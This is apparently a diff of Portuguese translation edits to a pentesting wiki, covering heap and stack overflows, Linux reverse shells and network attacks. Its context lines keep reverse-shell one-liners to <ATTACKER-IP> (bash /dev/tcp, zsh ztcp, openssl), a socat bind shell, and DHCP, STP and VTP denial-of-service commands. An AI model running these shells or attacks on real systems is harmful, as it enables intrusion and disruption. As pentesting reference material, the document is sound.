-Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no seguinte chunk do chunk transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como:
+Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no chunk seguinte do chunk transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como:
 ```bash
 python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 ```

src/binary-exploitation/libc-heap/use-after-free/first-fit.md

@@ -105,7 +105,7 @@ Uma aplicação prática pode ser encontrada no desafio *Setjmp* das Quals HITCO
 ---
 ### 🛡️  Mitigações & Fortalecimento
 
-* **Safe-linking (glibc ≥ 2.32)** protege apenas as listas *tcache*/**fastbin** encadeadas. Os bins não ordenados/pequenos/grandes ainda armazenam ponteiros brutos, então sobreposições baseadas em first-fit permanecem viáveis se você conseguir obter um leak de heap.
+* **Safe-linking (glibc ≥ 2.32)** protege apenas as listas *tcache*/**fastbin** ligadas singularmente. Os bins não ordenados/pequenos/grandes ainda armazenam ponteiros brutos, então sobreposições baseadas em first-fit permanecem viáveis se você conseguir obter um leak de heap.
 * **Criptografia de ponteiro de heap & MTE** (ARM64) ainda não afetam glibc x86-64, mas flags de endurecimento de distribuições como `GLIBC_TUNABLES=glibc.malloc.check=3` abortarão em metadados inconsistentes e podem quebrar PoCs ingênuas.
 * **Preenchendo tcache ao liberar** (proposto em 2024 para glibc 2.41) reduziria ainda mais o uso não ordenado; monitore lançamentos futuros ao desenvolver exploits genéricos.
 

src/binary-exploitation/stack-overflow/README.md

@@ -6,9 +6,9 @@
 
 Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e potencialmente à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada.
 
-O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
+O principal problema dessa sobrescrita é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**.
 
-A vulnerabilidade geralmente surge porque uma função **copia dentro da pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
+A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha.
 
 Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado.
 
@@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
 
 A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**.
 
-Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
+Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada possível subsequência de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua.
 
 Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o.
 
@@ -50,10 +50,10 @@ pattern search $rsp #Search the offset given the content of $rsp
 ```
 ## Explorando Estouro de Pilha
 
-Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente), você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
+Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\
 A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro.
 
-No entanto, em outros cenários, talvez apenas **sobrescrever alguns valores de variáveis na pilha** possa ser suficiente para a exploração (como em desafios CTF fáceis).
+No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis).
 
 ### Ret2win
 

src/generic-hacking/reverse-shells/linux.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Se você tiver dúvidas sobre qualquer uma dessas shells, você pode verificá-las em** [**https://explainshell.com/**](https://explainshell.com)
+**Se você tiver perguntas sobre qualquer uma dessas shells, você pode verificá-las em** [**https://explainshell.com/**](https://explainshell.com)
 
 ## Full TTY
 
@@ -23,7 +23,7 @@ exec >&0
 ```
 Não se esqueça de verificar com outros shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh e bash.
 
-### Shell seguro de símbolo
+### Shell seguro de símbolos
 ```bash
 #If you need a more stable connection do:
 bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
@@ -81,7 +81,7 @@ toboggan -m nix.py -i
 ```
 Para aproveitar diretamente um shell interativo. Você pode adicionar `-b` para integração com o Burpsuite e remover o `-i` para um wrapper rce mais básico.
 
-Outra possibilidade consiste em usar a implementação de shell forward do `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
+Outra possibilidade consiste em usar a implementação de shell reverso `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
 
 Você só precisa modificar:
 
@@ -226,7 +226,7 @@ zsh -c 'zmodload zsh/net/tcp; ztcp <ATTACKER-IP> <PORT>; zsh -i <&$REPLY >&$REPL
 ```
 ## Rustcat (rcat)
 
-[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – listener moderno semelhante ao netcat escrito em Rust (empacotado no Kali desde 2024).
+[https://github.com/robiot/rustcat](https://github.com/robiot/rustcat) – listener moderno semelhante ao netcat escrito em Rust (disponível no Kali desde 2024).
 ```bash
 # Attacker – interactive TLS listener with history & tab-completion
 rcat listen -ib 55600
@@ -281,7 +281,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
 
 [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
 
-### Shell de ligação
+### Shell de bind
 ```bash
 victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
 attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

src/generic-methodologies-and-resources/pentesting-network/README.md

@@ -12,8 +12,8 @@ Nesta situação, você tem algum **escopo de IPs** (talvez até vários **inter
 ### ICMP
 
 Esta é a maneira **mais fácil** e **rápida** de descobrir se um host está ativo ou não.\
-Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais fácil é simplesmente enviar um **pedido de eco** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
-Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para o comum pedido-resposta de eco ICMP).
+Você pode tentar enviar alguns pacotes **ICMP** e **esperar respostas**. A maneira mais fácil é simplesmente enviar um **echo request** e esperar pela resposta. Você pode fazer isso usando um simples `ping` ou usando `fping` para **intervalos**.\
+Você também pode usar **nmap** para enviar outros tipos de pacotes ICMP (isso evitará filtros para solicitações-respostas ICMP echo comuns).
 ```bash
 ping -c 1 199.66.11.4    # 1 echo request to a host
 fping -g 199.66.11.0/24  # Send echo requests to ranges
@@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24
 ```
 ### Descoberta de Porta UDP
 
-Você também pode tentar verificar se alguma **porta UDP está aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
+Você também pode tentar verificar se há alguma **porta UDP aberta** para decidir se deve **prestar mais atenção** a um **host.** Como os serviços UDP geralmente **não respondem** com **dados** a um pacote de sondagem UDP vazio, é difícil dizer se uma porta está sendo filtrada ou aberta. A maneira mais fácil de decidir isso é enviar um pacote relacionado ao serviço em execução, e como você não sabe qual serviço está em execução, deve tentar o mais provável com base no número da porta:
 ```bash
 nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
 # The -sV will make nmap test each possible known UDP service packet
 # The "--version-intensity 0" will make nmap only test the most probable
 ```
-A linha do nmap proposta anteriormente testará as **top 1000 portas UDP** em cada host dentro do intervalo **/24**, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Isso enviará esses **UDP probes** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
+A linha do nmap proposta anteriormente testará as **1000 principais portas UDP** em cada host dentro do intervalo **/24**, mas mesmo isso levará **>20min**. Se precisar de **resultados mais rápidos**, você pode usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Isso enviará esses **probes UDP** para suas **portas esperadas** (para um intervalo /24, isso levará apenas 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
 
 ### Descoberta de Portas SCTP
 ```bash
@@ -64,7 +64,7 @@ Se você estiver dentro da rede, uma das primeiras coisas que você vai querer f
 
 ### Passivo
 
-Você pode usar essas ferramentas para descobrir hosts de forma passiva dentro de uma rede conectada:
+Você pode usar essas ferramentas para descobrir hosts passivamente dentro de uma rede conectada:
 ```bash
 netdiscover -p
 p0f -i eth0 -p -o /tmp/p0f.log
@@ -75,7 +75,7 @@ set net.show.meta true #more info
 ```
 ### Ativo
 
-Note que as técnicas comentadas em [_**Descobrindo hosts de fora**_](#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
+Note que as técnicas comentadas em [_**Descobrindo hosts do lado de fora**_](#discovering-hosts-from-the-outside) (_Descoberta de Portas TCP/HTTP/UDP/SCTP_) também podem ser **aplicadas aqui**.\
 Mas, como você está na **mesma rede** que os outros hosts, você pode fazer **mais coisas**:
 ```bash
 #ARP discovery
@@ -182,7 +182,7 @@ nmap-summary-esp.md
 
 ### Revelando Endereços IP Internos
 
-**Roteadores, firewalls e dispositivos de rede mal configurados** às vezes respondem a sondagens de rede usando **endereços de origem não públicos**. **tcpdump** pode ser utilizado para identificar pacotes recebidos de endereços privados durante os testes. Especificamente, no Kali Linux, pacotes podem ser capturados na **interface eth2**, que é acessível a partir da Internet pública. É importante notar que, se sua configuração estiver atrás de um NAT ou de um Firewall, tais pacotes provavelmente serão filtrados.
+**Roteadores, firewalls e dispositivos de rede mal configurados** às vezes respondem a sondagens de rede usando **endereços de origem não públicos**. **tcpdump** pode ser utilizado para identificar pacotes recebidos de endereços privados durante os testes. Especificamente, no Kali Linux, pacotes podem ser capturados na **interface eth2**, que é acessível a partir da Internet pública. É importante notar que, se sua configuração estiver atrás de um NAT ou um Firewall, tais pacotes provavelmente serão filtrados.
 ```bash
 tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
 ```
 ## Sniffing
 
-Com o Sniffing, você pode aprender detalhes de faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a malha de comutação sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
+Com o Sniffing, você pode aprender detalhes sobre faixas de IP, tamanhos de sub-rede, endereços MAC e nomes de host ao revisar quadros e pacotes capturados. Se a rede estiver mal configurada ou a malha de comutação estiver sob estresse, os atacantes podem capturar material sensível por meio de sniffing de rede passivo.
 
 Se uma rede Ethernet comutada estiver configurada corretamente, você verá apenas quadros de broadcast e material destinado ao seu endereço MAC.
 
@@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
 tcpdump -i <IFACE> icmp #Listen to icmp packets
 sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
 ```
-Também é possível capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a interface gráfica em tempo real.
+Também é possível capturar pacotes de uma máquina remota através de uma sessão SSH com o Wireshark como a GUI em tempo real.
 ```
 ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
 ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@@ -258,7 +258,7 @@ Em switches modernos, essa vulnerabilidade foi corrigida.
 
 O **Dynamic Trunking Protocol (DTP)** é projetado como um protocolo de camada de enlace para facilitar um sistema automático de trunking, permitindo que os switches selecionem automaticamente portas para o modo trunk (Trunk) ou modo não-trunk. A implementação do **DTP** é frequentemente vista como indicativa de um design de rede subótimo, ressaltando a importância de configurar trunks manualmente apenas onde necessário e garantir a documentação adequada.
 
-Por padrão, as portas dos switches são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLANs configurando interfaces virtuais.
+Por padrão, as portas do switch são configuradas para operar no modo Dinâmico Automático, o que significa que estão prontas para iniciar o trunking se solicitadas por um switch vizinho. Uma preocupação de segurança surge quando um pentester ou atacante se conecta ao switch e envia um quadro DTP Desirable, forçando a porta a entrar no modo trunk. Essa ação permite que o atacante enumere VLANs por meio da análise de quadros STP e contorne a segmentação de VLAN configurando interfaces virtuais.
 
 A presença do DTP em muitos switches por padrão pode ser explorada por adversários para imitar o comportamento de um switch, obtendo assim acesso ao tráfego em todas as VLANs. O script [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) é utilizado para monitorar uma interface, revelando se um switch está no modo Padrão, Trunk, Dinâmico, Automático ou Acesso—sendo este último a única configuração imune a ataques de VLAN hopping. Esta ferramenta avalia o status de vulnerabilidade do switch.
 
@@ -279,7 +279,7 @@ Para enumerar as VLANs, também é possível gerar o quadro DTP Desirable com o
 ```
 sudo python3 DTPHijacking.py --interface eth0
 ```
-Eu gostaria de apontar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa a porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
+Gostaria de ressaltar que **Access/Desirable (0x03)** indica que o quadro DTP é do tipo Desirable, o que informa à porta para mudar para o modo Trunk. E **802.1Q/802.1Q (0xa5)** indica o tipo de encapsulamento **802.1Q**.
 
 Ao analisar os quadros STP, **aprendemos sobre a existência da VLAN 30 e da VLAN 60.**
 
@@ -342,7 +342,7 @@ sendp(packet)
 ```
 #### Bypass de Segmentação Lateral de VLAN <a href="#d679" id="d679"></a>
 
-Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **bypassar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs alvo e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
+Se você tiver **acesso a um switch ao qual está diretamente conectado**, você tem a capacidade de **burlar a segmentação de VLAN** dentro da rede. Basta **mudar a porta para o modo trunk** (também conhecido como trunk), criar interfaces virtuais com os IDs das VLANs de destino e configurar um endereço IP. Você pode tentar solicitar o endereço dinamicamente (DHCP) ou pode configurá-lo estaticamente. Depende do caso.
 
 {{#ref}}
 lateral-vlan-segmentation-bypass.md
@@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
 
 #### Bypass de VLAN Privada de Camada 3
 
-Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para evitar que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
+Em certos ambientes, como redes sem fio para convidados, as configurações de **isolamento de porta (também conhecido como VLAN privada)** são implementadas para impedir que clientes conectados a um ponto de acesso sem fio se comuniquem diretamente entre si. No entanto, uma técnica foi identificada que pode contornar essas medidas de isolamento. Essa técnica explora a falta de ACLs de rede ou sua configuração inadequada, permitindo que pacotes IP sejam roteados através de um roteador para alcançar outro cliente na mesma rede.
 
 O ataque é executado criando um **pacote que carrega o endereço IP do cliente de destino, mas com o endereço MAC do roteador**. Isso faz com que o roteador encaminhe erroneamente o pacote para o cliente alvo. Essa abordagem é semelhante à utilizada em Ataques de Double Tagging, onde a capacidade de controlar um host acessível à vítima é usada para explorar a falha de segurança.
 
 **Passos Chave do Ataque:**
 
 1. **Elaboração de um Pacote:** Um pacote é especialmente elaborado para incluir o endereço IP do cliente alvo, mas com o endereço MAC do roteador.
-2. **Explorando o Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
+2. **Exploração do Comportamento do Roteador:** O pacote elaborado é enviado ao roteador, que, devido à configuração, redireciona o pacote para o cliente alvo, contornando o isolamento fornecido pelas configurações de VLAN privada.
 
 ### Ataques VTP
 
@@ -366,13 +366,13 @@ O VTP (VLAN Trunking Protocol) centraliza a gestão de VLANs. Ele utiliza númer
 #### Funções do Domínio VTP
 
 - **Servidor VTP:** Gerencia VLANs—cria, exclui, modifica. Ele transmite anúncios VTP para os membros do domínio.
-- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Esse papel é restrito de modificações de configurações de VLAN locais.
+- **Cliente VTP:** Recebe anúncios VTP para sincronizar seu banco de dados de VLAN. Este papel é restrito de modificações de configurações de VLAN locais.
 - **Transparente VTP:** Não participa de atualizações VTP, mas encaminha anúncios VTP. Não é afetado por ataques VTP, mantendo um número de revisão constante de zero.
 
 #### Tipos de Anúncios VTP
 
 - **Anúncio Resumo:** Transmitido pelo servidor VTP a cada 300 segundos, carregando informações essenciais do domínio.
-- **Anúncio de Subconjunto:** Enviado após alterações na configuração de VLAN.
+- **Anúncio de Subconjunto:** Enviado após alterações na configuração da VLAN.
 - **Solicitação de Anúncio:** Emitida por um cliente VTP para solicitar um Anúncio Resumo, tipicamente em resposta à detecção de um número de revisão de configuração mais alto.
 
 As vulnerabilidades do VTP são exploráveis exclusivamente através de portas trunk, uma vez que os anúncios VTP circulam apenas por elas. Cenários pós-ataque DTP podem se voltar para o VTP. Ferramentas como Yersinia podem facilitar ataques VTP, visando eliminar o banco de dados de VLAN, efetivamente interrompendo a rede.
@@ -385,9 +385,9 @@ No modo gráfico do Yersinia, escolha a opção de deletar todas as VLANs VTP pa
 
 ### Ataques STP
 
-**Se você não consegue capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.**
+**Se você não conseguir capturar quadros BPDU em suas interfaces, é improvável que você tenha sucesso em um ataque STP.**
 
-#### **DoS BPDU STP**
+#### **STP BPDU DoS**
 
 Enviando muitos BPDUs TCP (Notificação de Mudança de Topologia) ou Conf (os BPDUs que são enviados quando a topologia é criada), os switches ficam sobrecarregados e param de funcionar corretamente.
 ```bash
@@ -421,7 +421,7 @@ O Protocolo de Descoberta CISCO (CDP) é essencial para a comunicação entre di
 
 #### Coleta de Dados Passiva <a href="#id-0e0f" id="id-0e0f"></a>
 
-O CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffers de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada.
+O CDP é configurado para transmitir informações através de todas as portas, o que pode levar a um risco de segurança. Um atacante, ao se conectar a uma porta de switch, poderia implantar sniffer de rede como **Wireshark**, **tcpdump** ou **Yersinia**. Essa ação pode revelar dados sensíveis sobre o dispositivo de rede, incluindo seu modelo e a versão do Cisco IOS que ele executa. O atacante pode então direcionar vulnerabilidades específicas na versão do Cisco IOS identificada.
 
 #### Induzindo Inundação da Tabela CDP <a href="#id-0d6a" id="id-0d6a"></a>
 
@@ -444,11 +444,11 @@ Você também pode usar [**scapy**](https://github.com/secdev/scapy/). Certifiqu
 
 Os telefones VoIP, cada vez mais integrados com dispositivos IoT, oferecem funcionalidades como desbloquear portas ou controlar termostatos através de números de telefone especiais. No entanto, essa integração pode apresentar riscos de segurança.
 
-A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o ID da VLAN da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP.
+A ferramenta [**voiphopper**](http://voiphopper.sourceforge.net) é projetada para emular um telefone VoIP em vários ambientes (Cisco, Avaya, Nortel, Alcatel-Lucent). Ela descobre o ID VLAN da rede de voz usando protocolos como CDP, DHCP, LLDP-MED e 802.1Q ARP.
 
 **VoIP Hopper** oferece três modos para o Protocolo de Descoberta Cisco (CDP):
 
-1. **Modo Sniff** (`-c 0`): Analisa pacotes de rede para identificar o ID da VLAN.
+1. **Modo Sniff** (`-c 0`): Analisa pacotes de rede para identificar o ID VLAN.
 2. **Modo Spoof** (`-c 1`): Gera pacotes personalizados imitando os de um dispositivo VoIP real.
 3. **Modo Spoof com Pacote Pré-fabricado** (`-c 2`): Envia pacotes idênticos aos de um modelo específico de telefone IP Cisco.
 
@@ -490,7 +490,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
 **DoS**
 
 **Dois tipos de DoS** podem ser realizados contra servidores DHCP. O primeiro consiste em **simular hosts falsos suficientes para usar todos os endereços IP possíveis**.\
-Esse ataque funcionará apenas se você puder ver as respostas do servidor DHCP e completar o protocolo (**Discover** (Comp) --> **Offer** (servidor) --> **Request** (Comp) --> **ACK** (servidor)). Por exemplo, isso **não é possível em redes Wifi**.
+Esse ataque funcionará apenas se você puder ver as respostas do servidor DHCP e completar o protocolo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Por exemplo, isso **não é possível em redes Wifi**.
 
 Outra maneira de realizar um DoS DHCP é enviar um **pacote DHCP-RELEASE usando como código de origem todos os IPs possíveis**. Assim, o servidor pensará que todos terminaram de usar o IP.
 ```bash
@@ -499,7 +499,7 @@ yersinia dhcp -attack 3 #More parameters are needed
 ```
 Uma maneira mais automática de fazer isso é usando a ferramenta [DHCPing](https://github.com/kamorin/DHCPig)
 
-Você poderia usar os ataques DoS mencionados para forçar os clientes a obter novos leases dentro do ambiente e esgotar servidores legítimos para que eles fiquem não responsivos. Assim, quando os legítimos tentarem se reconectar, **você pode servir valores maliciosos mencionados no próximo ataque**.
+Você pode usar os ataques de DoS mencionados para forçar os clientes a obter novos leases dentro do ambiente e esgotar servidores legítimos para que eles se tornem não responsivos. Assim, quando os legítimos tentarem se reconectar, **você pode servir valores maliciosos mencionados no próximo ataque**.
 
 #### Definir valores maliciosos
 
@@ -527,9 +527,9 @@ Usando corretamente essas opções, um servidor DHCP malicioso pode ser estabele
 
 Aqui estão algumas das táticas de ataque que podem ser usadas contra implementações 802.1X:
 
-- Força bruta ativa de senhas via EAP
+- Moagem ativa de senhas por força bruta via EAP
 - Atacando o servidor RADIUS com conteúdo EAP malformado _\*\*_(exploits)
-- Captura de mensagens EAP e quebra de senhas offline (EAP-MD5 e PEAP)
+- Captura de mensagens EAP e quebra de senha offline (EAP-MD5 e PEAP)
 - Forçando a autenticação EAP-MD5 para contornar a validação do certificado TLS
 - Injetando tráfego de rede malicioso ao autenticar usando um hub ou similar
 
@@ -554,11 +554,11 @@ Três versões do Protocolo de Informação de Roteamento (RIP) são conhecidas:
 - **RIP e RIPv2:** A comunicação é feita através de datagramas UDP na porta 520.
 - **RIPng:** Utiliza a porta UDP 521 para transmitir datagramas via multicast IPv6.
 
-Note que o RIPv2 suporta autenticação MD5 enquanto o RIPng não inclui autenticação nativa, confiando em cabeçalhos IPsec AH e ESP no IPv6.
+Observe que o RIPv2 suporta autenticação MD5, enquanto o RIPng não inclui autenticação nativa, confiando em cabeçalhos IPsec AH e ESP no IPv6.
 
 ### EIGRP Attacks
 
-**EIGRP (Enhanced Interior Gateway Routing Protocol)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir no roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (em outras palavras, sistema autônomo) **é plana e não possui segmentação em zonas**. Se um **atacante injetar uma rota**, é provável que essa rota **se espalhe** por todo o sistema EIGRP autônomo.
+**EIGRP (Enhanced Interior Gateway Routing Protocol)** é um protocolo de roteamento dinâmico. **É um protocolo de vetor de distância.** Se não houver **autenticação** e configuração de interfaces passivas, um **intruso** pode interferir no roteamento EIGRP e causar **envenenamento de tabelas de roteamento**. Além disso, a rede EIGRP (em outras palavras, sistema autônomo) **é plana e não possui segmentação em zonas**. Se um **atacante injeta uma rota**, é provável que essa rota **se espalhe** por todo o sistema EIGRP autônomo.
 
 Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIGRP legítimo**, o que abre muitas possibilidades, desde reconhecimento básico até várias injeções.
 
@@ -568,14 +568,14 @@ Atacar um sistema EIGRP requer **estabelecer uma vizinhança com um roteador EIG
 eigrp-attacks.md
 {{#endref}}
 
-[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Ele também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
+[**Coly**](https://code.google.com/p/coly/) possui capacidades para interceptar transmissões EIGRP (Enhanced Interior Gateway Routing Protocol). Também permite a injeção de pacotes, que podem ser utilizados para alterar configurações de roteamento.
 
 ### OSPF
 
 No protocolo Open Shortest Path First (OSPF), **a autenticação MD5 é comumente empregada para garantir comunicação segura entre roteadores**. No entanto, essa medida de segurança pode ser comprometida usando ferramentas como Loki e John the Ripper. Essas ferramentas são capazes de capturar e quebrar hashes MD5, expondo a chave de autenticação. Uma vez que essa chave é obtida, pode ser usada para introduzir novas informações de roteamento. Para configurar os parâmetros da rota e estabelecer a chave comprometida, as abas _Injection_ e _Connection_ são utilizadas, respectivamente.
 
 - **Capturando e Quebrando Hashes MD5:** Ferramentas como Loki e John the Ripper são usadas para esse propósito.
-- **Configurando Parâmetros de Rota:** Isso é feito através da aba _Injection_.
+- **Configurando Parâmetros da Rota:** Isso é feito através da aba _Injection_.
 - **Definindo a Chave Comprometida:** A chave é configurada na aba _Connection_.
 
 ### Other Generic Tools & Sources
@@ -633,7 +633,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
 [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
 [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
 ```
-### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
